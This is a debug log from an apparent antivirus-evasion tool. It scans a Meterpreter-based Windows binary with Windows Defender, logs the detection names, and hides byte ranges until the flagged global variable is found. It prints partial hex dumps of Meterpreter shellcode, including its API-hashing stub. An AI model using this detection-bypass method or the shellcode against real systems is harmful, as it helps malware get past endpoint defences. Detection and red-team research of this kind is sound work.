00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  01 00 00 10 00 00 00 00  ................
00000060: E0 13 84 6C 00 00 00 00  00 00 00 00 00 00 00 00  ...l............
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,184][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c863220:
[DEBUG   ][2021-08-28 17:11:55,184][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 65 61 74 65  61 68 72 61 61 64 61 78  aaareateahraadax
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,184][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c863240:
[DEBUG   ][2021-08-28 17:11:55,184][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 61 74 65 61  69 61 74 61 61 6C 61 65  aaarateaiataalae
00000010: 6D 61 72 61 00 00 00 00  00 00 00 00 00 00 00 00  mara............
[DEBUG   ][2021-08-28 17:11:55,184][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c863260:
[DEBUG   ][2021-08-28 17:11:55,184][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 65 61 74 65  61 68 72 61 61 64 61 78  aaareateahraadax
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,184][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c863280:
[DEBUG   ][2021-08-28 17:11:55,184][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 61 74 65 61  69 61 74 61 61 6C 61 65  aaarateaiataalae
00000010: 6D 61 72 61 00 00 00 00  00 00 00 00 00 00 00 00  mara............
[DEBUG   ][2021-08-28 17:11:55,184][pe_utils.py:331] print_global_variables() :: Found 608 bytes variable @ 0x6c8632a0:
[DEBUG   ][2021-08-28 17:11:55,185][pe_utils.py:335] print_global_variables() ::
00000000: FC 80 79 10 00 0F 85 13  01 00 00 C6 41 10 01 48  ..y.........A..H
00000010: 83 EC 78 E8 C8 00 00 00  41 51 41 50 52 51 56 48  ..x.....AQAPRQVH
00000020: 31 D2 65 48 8B 52 60 48  8B 52 18 48 8B 52 20 48  1.eH.R`H.R.H.R H
00000030: 8B 72 50 48 0F B7 4A 4A  4D 31 C9 48 31 C0 AC 3C  .rPH..JJM1.H1..<
00000040: 61 7C 02 2C 20 41 C1 C9  0D 41 01 C1 E2 ED 52 41  a|., A...A....RA
00000050: 51 48 8B 52 20 8B 42 3C  48 01 D0 66 81 78 18 0B  QH.R .B<H..f.x..
00000060: 02 75 72 8B 80 88 00 00  00 48 85 C0 74 67 48 01  .ur......H..tgH.
00000070: D0 50 8B 48 18 44 8B 40  20 49 01 D0 E3 56 48 FF  .P.H.D.@ I...VH.
[DEBUG   ][2021-08-28 17:11:55,185][pe_utils.py:331] print_global_variables() :: Found 289 bytes variable @ 0x6c863500:
[DEBUG   ][2021-08-28 17:11:55,185][pe_utils.py:335] print_global_variables() ::
00000000: FC 48 89 CE 48 89 E7 48  83 E4 F0 E8 C8 00 00 00  .H..H..H........
00000010: 41 51 41 50 52 51 56 48  31 D2 65 48 8B 52 60 48  AQAPRQVH1.eH.R`H
00000020: 8B 52 18 48 8B 52 20 48  8B 72 50 48 0F B7 4A 4A  .R.H.R H.rPH..JJ
00000030: 4D 31 C9 48 31 C0 AC 3C  61 7C 02 2C 20 41 C1 C9  M1.H1..<a|., A..
00000040: 0D 41 01 C1 E2 ED 52 41  51 48 8B 52 20 8B 42 3C  .A....RAQH.R .B<
00000050: 48 01 D0 66 81 78 18 0B  02 75 72 8B 80 88 00 00  H..f.x...ur.....
00000060: 00 48 85 C0 74 67 48 01  D0 50 8B 48 18 44 8B 40  .H..tgH..P.H.D.@
00000070: 20 49 01 D0 E3 56 48 FF  C9 41 8B 34 88 48 01 D6   I...VH..A.4.H..
[DEBUG   ][2021-08-28 17:11:55,185][pe_utils.py:331] print_global_variables() :: Found 111 bytes variable @ 0x6c863621:
[DEBUG   ][2021-08-28 17:11:55,186][pe_utils.py:335] print_global_variables() ::
00000000: 83 C4 50 48 89 FC C3 00  00 00 00 00 00 00 00 00  ..PH............
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 55  ...............U
00000020: 89 E5 56 57 8B 75 08 8B  4D 0C E8 00 00 00 00 58  ..VW.u..M......X
00000030: 83 C0 2B 83 EC 08 89 E2  C7 42 04 33 00 00 00 89  ..+......B.3....
00000040: 02 E8 0F 00 00 00 66 8C  D8 66 8E D0 83 C4 14 5F  ......f..f....._
00000050: 5E 5D C2 08 00 8B 3C E4  FF 2A 48 31 C0 57 FF D6  ^]....<..*H1.W..
00000060: 5F 50 C7 44 24 04 23 00  00 00 89 3C 24 FF 2C     _P.D$.#....<$.,
[DEBUG   ][2021-08-28 17:11:55,186][pe_utils.py:331] print_global_variables() :: Found 16 bytes variable @ 0x6c863690:
[DEBUG   ][2021-08-28 17:11:55,186][pe_utils.py:335] print_global_variables() ::
00000000: 24 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  $...............
[DEBUG   ][2021-08-28 17:11:55,186][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c8636a0:
[DEBUG   ][2021-08-28 17:11:55,186][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 65 61 74 65  61 68 72 61 61 64 61 78  aaareateahraadax
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,186][pe_utils.py:331] print_global_variables() :: Found 992 bytes variable @ 0x6c8636c0:
[DEBUG   ][2021-08-28 17:11:55,186][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 61 74 65 61  69 61 74 61 61 6C 61 65  aaarateaiataalae
00000010: 6D 61 72 61 00 00 00 00  00 00 00 00 00 00 00 00  mara............
00000020: 00 37 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  .7.l............
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 10 73 84 6C 00 00 00 00  40 72 84 6C 00 00 00 00  .s.l....@r.l....
00000050: 30 76 84 6C 00 00 00 00  20 6D 84 6C 00 00 00 00  0v.l.... m.l....
00000060: D0 65 84 6C 00 00 00 00  00 79 84 6C 00 00 00 00  .e.l.....y.l....
00000070: D0 62 84 6C 00 00 00 00  80 69 84 6C 00 00 00 00  .b.l.....i.l....
[DEBUG   ][2021-08-28 17:11:55,186][pe_utils.py:331] print_global_variables() :: Found 2016 bytes variable @ 0x6c863aa0:
[DEBUG   ][2021-08-28 17:11:55,187][pe_utils.py:335] print_global_variables() ::
00000000: 0C 00 00 00 00 00 00 00  F0 D2 84 6C 00 00 00 00  ...........l....
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,187][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c864280:
[DEBUG   ][2021-08-28 17:11:55,187][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 65 61 74 65  61 68 72 61 61 64 61 78  aaareateahraadax
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,187][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c8642a0:
[DEBUG   ][2021-08-28 17:11:55,187][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 61 74 65 61  69 61 74 61 61 6C 61 65  aaarateaiataalae
00000010: 6D 61 72 61 00 00 00 00  00 00 00 00 00 00 00 00  mara............
[DEBUG   ][2021-08-28 17:11:55,187][pe_utils.py:331] print_global_variables() :: Found 160 bytes variable @ 0x6c8642c0:
[DEBUG   ][2021-08-28 17:11:55,187][pe_utils.py:335] print_global_variables() ::
00000000: 00 00 00 00 01 00 00 00  03 00 00 00 07 00 00 00  ................
00000010: 0F 00 00 00 1F 00 00 00  3F 00 00 00 7F 00 00 00  ........?.......
00000020: FF 00 00 00 FF 01 00 00  FF 03 00 00 FF 07 00 00  ................
00000030: FF 0F 00 00 FF 1F 00 00  FF 3F 00 00 FF 7F 00 00  .........?......
00000040: FF FF 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 20 69 6E 66 6C 61 74 65  20 31 2E 30 2E 34 20 43   inflate 1.0.4 C
00000070: 6F 70 79 72 69 67 68 74  20 31 39 39 35 2D 31 39  opyright 1995-19
[DEBUG   ][2021-08-28 17:11:55,187][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c864360:
[DEBUG   ][2021-08-28 17:11:55,187][pe_utils.py:335] print_global_variables() ::
00000000: 00 00 00 00 00 00 00 00  C0 43 86 6C 00 00 00 00  .........C.l....
00000010: 00 00 00 00 13 00 00 00  07 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,187][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c864380:
[DEBUG   ][2021-08-28 17:11:55,188][pe_utils.py:335] print_global_variables() ::
00000000: 60 D6 86 6C 00 00 00 00  20 44 86 6C 00 00 00 00  `..l.... D.l....
00000010: 00 00 00 00 1E 00 00 00  0F 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,188][pe_utils.py:331] print_global_variables() :: Found 128 bytes variable @ 0x6c8643a0:
[DEBUG   ][2021-08-28 17:11:55,188][pe_utils.py:335] print_global_variables() ::
00000000: E0 D6 86 6C 00 00 00 00  A0 44 86 6C 00 00 00 00  ...l.....D.l....
00000010: 01 01 00 00 1E 01 00 00  0F 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 02 00 00 00 03 00 00 00  07 00 00 00 00 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,188][pe_utils.py:331] print_global_variables() :: Found 96 bytes variable @ 0x6c864420:
[DEBUG   ][2021-08-28 17:11:55,188][pe_utils.py:335] print_global_variables() ::
00000000: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000010: 01 00 00 00 01 00 00 00  02 00 00 00 02 00 00 00  ................
00000020: 03 00 00 00 03 00 00 00  04 00 00 00 04 00 00 00  ................
00000030: 05 00 00 00 05 00 00 00  06 00 00 00 06 00 00 00  ................
00000040: 07 00 00 00 07 00 00 00  08 00 00 00 08 00 00 00  ................
00000050: 09 00 00 00 09 00 00 00  0A 00 00 00 0A 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,188][pe_utils.py:331] print_global_variables() :: Found 4 bytes variable @ 0x6c864480:
[DEBUG   ][2021-08-28 17:11:55,188][pe_utils.py:335] print_global_variables() ::
00000000: 0B 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:11:55,188][pe_utils.py:331] print_global_variables() :: Found 4 bytes variable @ 0x6c864484:
[DEBUG   ][2021-08-28 17:11:55,188][pe_utils.py:335] print_global_variables() ::
00000000: 0B 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:11:55,188][pe_utils.py:331] print_global_variables() :: Found 4 bytes variable @ 0x6c864488:
[DEBUG   ][2021-08-28 17:11:55,189][pe_utils.py:335] print_global_variables() ::
00000000: 0C 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:11:55,189][pe_utils.py:331] print_global_variables() :: Found 4 bytes variable @ 0x6c86448c:
[DEBUG   ][2021-08-28 17:11:55,189][pe_utils.py:335] print_global_variables() ::
00000000: 0C 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:11:55,189][pe_utils.py:331] print_global_variables() :: Found 4 bytes variable @ 0x6c864490:
[DEBUG   ][2021-08-28 17:11:55,189][pe_utils.py:335] print_global_variables() ::
00000000: 0D 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:11:55,189][pe_utils.py:331] print_global_variables() :: Found 12 bytes variable @ 0x6c864494:
[DEBUG   ][2021-08-28 17:11:55,189][pe_utils.py:335] print_global_variables() ::
00000000: 0D 00 00 00 00 00 00 00  00 00 00 00              ............
[DEBUG   ][2021-08-28 17:11:55,189][pe_utils.py:331] print_global_variables() :: Found 192 bytes variable @ 0x6c8644a0:
[DEBUG   ][2021-08-28 17:11:55,189][pe_utils.py:335] print_global_variables() ::
00000000: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 01 00 00 00 01 00 00 00  01 00 00 00 01 00 00 00  ................
00000030: 02 00 00 00 02 00 00 00  02 00 00 00 02 00 00 00  ................
00000040: 03 00 00 00 03 00 00 00  03 00 00 00 03 00 00 00  ................
00000050: 04 00 00 00 04 00 00 00  04 00 00 00 04 00 00 00  ................
00000060: 05 00 00 00 05 00 00 00  05 00 00 00 05 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:11:55,189][pe_utils.py:331] print_global_variables() :: Found 96 bytes variable @ 0x6c864560:
[DEBUG   ][2021-08-28 17:11:55,189][pe_utils.py:335] print_global_variables() ::
00000000: 40 12 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  @..l............
00000010: FF FF FF FF FF FF FF FF  00 00 00 00 00 00 00 00  ................
00000020: 02 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 70 0E 86 6C 00 00 00 00  90 0D 86 6C 00 00 00 00  p..l.......l....
00000040: 60 0D 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  `..l............
00000050: F0 0E 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  ...l............
[DEBUG   ][2021-08-28 17:11:55,189][pe_utils.py:331] print_global_variables() :: Found 16 bytes variable @ 0x6c8645c0:
[DEBUG   ][2021-08-28 17:11:55,190][pe_utils.py:335] print_global_variables() ::
00000000: 10 0F 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  ...l............
[DEBUG   ][2021-08-28 17:11:55,190][pe_utils.py:331] print_global_variables() :: Found 16 bytes variable @ 0x6c8645d0:
[DEBUG   ][2021-08-28 17:11:55,190][pe_utils.py:335] print_global_variables() ::
00000000: 40 10 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  @..l............
[DEBUG   ][2021-08-28 17:11:55,190][pe_utils.py:331] print_global_variables() :: Found 16 bytes variable @ 0x6c8645e0:
[DEBUG   ][2021-08-28 17:11:55,190][pe_utils.py:335] print_global_variables() ::
00000000: 32 A2 DF 2D 99 2B 00 00  00 00 00 00 00 00 00 00  2..-.+..........
[DEBUG   ][2021-08-28 17:11:55,190][pe_utils.py:331] print_global_variables() :: Found 2576 bytes variable @ 0x6c8645f0:
[DEBUG   ][2021-08-28 17:11:55,190][pe_utils.py:335] print_global_variables() ::
00000000: CD 5D 20 D2 66 D4 FF FF  00 00 00 00 00 00 00 00  .] .f...........
00000010: 68 69 64 5F 74 5F 63 5F  70 5F 5F 6F 52 78 50 46  hid_t_c_p__oRxPF
00000020: 78 74 49 39 78 45 62 00  68 69 64 5F 70 5F 69 5F  xtI9xEb.hid_p_i_
00000030: 70 5F 5F 76 4E 53 37 5A  7A 32 33 57 35 75 49 00  p__vNS7Zz23W5uI.
00000040: 68 69 64 5F 68 5F 74 5F  74 5F 5F 75 46 55 34 43  hid_h_t_t__uFU4C
00000050: 69 62 42 65 58 70 49 00  5A 77 57 72 69 74 65 56  ibBeXpI.ZwWriteV
00000060: 69 72 74 75 61 6C 4D 65  6D 6F 72 79 00 63 3A 5C  irtualMemory.c:\
00000070: 77 69 6E 64 6F 77 73 5C  73 79 73 74 65 6D 33 32  windows\system32
[DEBUG   ][2021-08-28 17:12:00,454][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmped3im1ly...
[DEBUG   ][2021-08-28 17:12:00,455][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:00,455][scanner.py: 99] scan() :: EngineScanCallback(): Threat SLFPER:Win32/Meterpreter!ApiRetrieval identified.
[DEBUG   ][2021-08-28 17:12:00,455][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:00,701][pe_utils.py:157] hide_bytes() :: Hiding 4608 bytes @ 133152
[DEBUG   ][2021-08-28 17:12:06,035][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpzx74mt29...
[DEBUG   ][2021-08-28 17:12:06,036][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:06,036][scanner.py: 99] scan() :: EngineScanCallback(): Threat SLFPER:Win32/Meterpreter!ApiRetrieval identified.
[DEBUG   ][2021-08-28 17:12:06,036][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:06,215][antivirus_debugger.py:182] global_vars_analysis() :: True -  SLFPER:Win32/Meterpreter!ApiRetrieval
[DEBUG   ][2021-08-28 17:12:06,281][pe_utils.py:157] hide_bytes() :: Hiding 32 bytes @ 137760
[DEBUG   ][2021-08-28 17:12:11,666][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpa_4l0sk8...
[DEBUG   ][2021-08-28 17:12:11,667][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:11,667][scanner.py: 99] scan() :: EngineScanCallback(): Threat SLFPER:Win32/Meterpreter!ApiRetrieval identified.
[DEBUG   ][2021-08-28 17:12:11,667][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:11,862][antivirus_debugger.py:182] global_vars_analysis() :: True -  SLFPER:Win32/Meterpreter!ApiRetrieval
[DEBUG   ][2021-08-28 17:12:11,943][pe_utils.py:157] hide_bytes() :: Hiding 32 bytes @ 137792
[DEBUG   ][2021-08-28 17:12:17,213][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpi7gp9d48...
[DEBUG   ][2021-08-28 17:12:17,213][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:17,213][scanner.py: 99] scan() :: EngineScanCallback(): Threat SLFPER:Win32/Meterpreter!ApiRetrieval identified.
[DEBUG   ][2021-08-28 17:12:17,214][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:17,419][antivirus_debugger.py:182] global_vars_analysis() :: True -  SLFPER:Win32/Meterpreter!ApiRetrieval
[DEBUG   ][2021-08-28 17:12:17,493][pe_utils.py:157] hide_bytes() :: Hiding 32 bytes @ 137824
[DEBUG   ][2021-08-28 17:12:22,833][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpr71y603k...
[DEBUG   ][2021-08-28 17:12:22,833][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:22,833][scanner.py: 99] scan() :: EngineScanCallback(): Threat SLFPER:Win32/Meterpreter!ApiRetrieval identified.
[DEBUG   ][2021-08-28 17:12:22,834][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:23,007][antivirus_debugger.py:182] global_vars_analysis() :: True -  SLFPER:Win32/Meterpreter!ApiRetrieval
[DEBUG   ][2021-08-28 17:12:23,055][pe_utils.py:157] hide_bytes() :: Hiding 32 bytes @ 137856
[DEBUG   ][2021-08-28 17:12:28,942][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpvbalewhc...
[DEBUG   ][2021-08-28 17:12:28,942][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:28,943][scanner.py: 99] scan() :: EngineScanCallback(): Threat SLFPER:Win32/Meterpreter!ApiRetrieval identified.
[DEBUG   ][2021-08-28 17:12:28,943][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:29,161][antivirus_debugger.py:182] global_vars_analysis() :: True -  SLFPER:Win32/Meterpreter!ApiRetrieval
[DEBUG   ][2021-08-28 17:12:29,225][pe_utils.py:157] hide_bytes() :: Hiding 608 bytes @ 137888
[DEBUG   ][2021-08-28 17:12:34,480][scanner.py: 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp1jktj6b4...
[DEBUG   ][2021-08-28 17:12:34,480][scanner.py: 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:34,480][scanner.py: 99] scan() :: EngineScanCallback(): Threat ALF:HSTR:MeterpreterAPIHashingX64 identified.
[DEBUG   ][2021-08-28 17:12:34,481][scanner.py: 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:34,672][antivirus_debugger.py:182] global_vars_analysis() :: True -  ALF:HSTR:MeterpreterAPIHashingX64
[INFO    ][2021-08-28 17:12:34,672][antivirus_debugger.py:184] global_vars_analysis() :: Windows Defender detects this global variable:
[INFO    ][2021-08-28 17:12:34,672][pe_utils.py: 70] display() ::
00000000: FC 80 79 10 00 0F 85 13  01 00 00 C6 41 10 01 48  ..y.........A..H
00000010: 83 EC 78 E8 C8 00 00 00  41 51 41 50 52 51 56 48  ..x.....AQAPRQVH
00000020: 31 D2 65 48 8B 52 60 48  8B 52 18 48 8B 52 20 48  1.eH.R`H.R.H.R H
00000030: 8B 72 50 48 0F B7 4A 4A  4D 31 C9 48 31 C0 AC 3C  .rPH..JJM1.H1..<
00000040: 61 7C 02 2C 20 41 C1 C9  0D 41 01 C1 E2 ED 52 41  a|., A...A....RA
00000050: 51 48 8B 52 20 8B 42 3C  48 01 D0 66 81 78 18 0B  QH.R .B<H..f.x..
00000060: 02 75 72 8B 80 88 00 00  00 48 85 C0 74 67 48 01  .ur......H..tgH.
00000070: D0 50 8B 48 18 44 8B 40  20 49 01 D0 E3 56 48 FF  .P.H.D.@ I...VH.
[ERROR   ][2021-08-28 17:12:34,672][antivirus_debugger.py:195] global_vars_analysis() :: Patching and starting over, since we've found something that may decrease the detection score.
[INFO    ][2021-08-28 17:12:34,672][antivirus_debugger.py:161] global_vars_analysis() :: Applying patches
[DEBUG   ][2021-08-28 17:12:34,723][pe_utils.py:157] hide_bytes() :: Hiding 608 bytes @ 137888
[INFO    ][2021-08-28 17:12:34,724][antivirus_debugger.py:167] global_vars_analysis() :: Simple check: maybe a single global variable is detected
[DEBUG   ][2021-08-28 17:12:35,919][pe_utils.py:324] detect_data() :: [Variable(addr=1820729376, size=4608, paddr=133152), Variable(addr=1820733984, size=32, paddr=137760), Variable(addr=1820734016, size=32, paddr=137792), Variable(addr=1820734048, size=32, paddr=137824), Variable(addr=1820734080, size=32, paddr=137856), Variable(addr=1820734112, size=608, paddr=137888), Variable(addr=1820734720, size=289, paddr=138496), Variable(addr=1820735009, size=111, paddr=138785), Variable(addr=1820735120, size=16, paddr=138896), Variable(addr=1820735136, size=32, paddr=138912), Variable(addr=1820735168, size=992, paddr=138944), Variable(addr=1820736160, size=2016, paddr=139936), Variable(addr=1820738176, size=32, paddr=141952), Variable(addr=1820738208, size=32, paddr=141984), Variable(addr=1820738240, size=160, paddr=142016), Variable(addr=1820738400, size=32, paddr=142176), Variable(addr=1820738432, size=32, paddr=142208), Variable(addr=1820738464, size=128, paddr=142240), Variable(addr=1820738592, size=96, paddr=142368), Variable(addr=1820738688, size=4, paddr=142464), Variable(addr=1820738692, size=4, paddr=142468), Variable(addr=1820738696, size=4, paddr=142472), Variable(addr=1820738700, size=4, paddr=142476), Variable(addr=1820738704, size=4, paddr=142480), Variable(addr=1820738708, size=12, paddr=142484), Variable(addr=1820738720, size=192, paddr=142496), Variable(addr=1820738912, size=96, paddr=142688), Variable(addr=1820739008, size=16, paddr=142784), Variable(addr=1820739024, size=16, paddr=142800), Variable(addr=1820739040, size=16, paddr=142816), Variable(addr=1820739056, size=2576, paddr=142832)]
[DEBUG   ][2021-08-28 17:12:35,919][pe_utils.py:331] print_global_variables() :: Found 4608 bytes variable @ 0x6c862020:
[DEBUG   ][2021-08-28 17:12:35,920][pe_utils.py:335] print_global_variables() ::
00000000: 09 00 00 00 00 00 00 00  D0 13 84 6C 00 00 00 00  ...........l....
00000010: 00 00 00 00 00 00 00 00  00 00 01 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  01 00 00 10 00 00 00 00  ................
00000060: E0 13 84 6C 00 00 00 00  00 00 00 00 00 00 00 00  ...l............
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,920][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c863220:
[DEBUG   ][2021-08-28 17:12:35,920][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 65 61 74 65  61 68 72 61 61 64 61 78  aaareateahraadax
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,920][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c863240:
[DEBUG   ][2021-08-28 17:12:35,920][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 61 74 65 61  69 61 74 61 61 6C 61 65  aaarateaiataalae
00000010: 6D 61 72 61 00 00 00 00  00 00 00 00 00 00 00 00  mara............
[DEBUG   ][2021-08-28 17:12:35,920][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c863260:
[DEBUG   ][2021-08-28 17:12:35,920][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 65 61 74 65  61 68 72 61 61 64 61 78  aaareateahraadax
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,921][pe_utils.py:331] print_global_variables() :: Found 32 bytes variable @ 0x6c863280:
[DEBUG   ][2021-08-28 17:12:35,921][pe_utils.py:335] print_global_variables() ::
00000000: 61 61 61 72 61 74 65 61  69 61 74 61 61 6C 61 65  aaarateaiataalae
00000010: 6D 61 72 61 00 00 00 00  00 00 00 00 00 00 00 00  mara............
[DEBUG   ][2021-08-28 17:12:35,921][pe_utils.py:331] print_global_variables() :: Found 608 bytes variable @ 0x6c8632a0:
[DEBUG   ][2021-08-28 17:12:35,921][pe_utils.py:335] print_global_variables() ::
00000000: 4F 4E 73 64 4E 52 76 53  4D 71 64 73 63 68 63 6D  ONsdNRvSMqdschcm
00000010: 64 67 4C 5A 4A 4A 71 63  51 68 7A 73 6C 42 69 7A  dgLZJJqcQhzslBiz
00000020: 4B 49 7A 71 43 6F 6D 76  52 6A 77 73 64 69 68 65  KIzqComvRjwsdihe
00000030: 70 74 51 66 64 4A 68 6C  6B 6F 64 4D 4A 67 4C 4B  ptQfdJhlkodMJgLK
00000040: 62 53 65 61 47 74 43 59  6D 73 6D 78 74 77 71 6C  bSeaGtCYmsmxtwql
00000050: 69 77 52 63 4C 69 6D 4E  68 63 64 77 73 65 46 55  iwRcLimNhcdwseFU
00000060: 6C 69 65 75 4D 67 56 4E  62 6F 4B 6B 4A 57 73 70  lieuMgVNboKkJWsp
00000070: 4B 59 4F 50 76 65 56 49  5A 75 66 65 62 51 6E 52  KYOPveVIZufebQnR
[DEBUG   ][2021-08-28 17:12:35,921][pe_utils.py:331] print_global_variables() :: Found 289 bytes variable @ 0x6c863500:
[DEBUG   ][2021-08-28 17:12:35,921][pe_utils.py:335] print_global_variables() ::
00000000: FC 48 89 CE 48 89 E7 48  83 E4 F0 E8 C8 00 00 00  .H..H..H........
00000010: 41 51 41 50 52 51 56 48  31 D2 65 48 8B 52 60 48  AQAPRQVH1.eH.R`H
00000020: 8B 52 18 48 8B 52 20 48  8B 72 50 48 0F B7 4A 4A  .R.H.R H.rPH..JJ
00000030: 4D 31 C9 48 31 C0 AC 3C  61 7C 02 2C 20 41 C1 C9  M1.H1..<a|., A..
00000040: 0D 41 01 C1 E2 ED 52 41  51 48 8B 52 20 8B 42 3C  .A....RAQH.R .B<
00000050: 48 01 D0 66 81 78 18 0B  02 75 72 8B 80 88 00 00  H..f.x...ur.....
00000060: 00 48 85 C0 74 67 48 01  D0 50 8B 48 18 44 8B 40  .H..tgH..P.H.D.@
00000070: 20 49 01 D0 E3 56 48 FF  C9 41 8B 34 88 48 01 D6   I...VH..A.4.H..
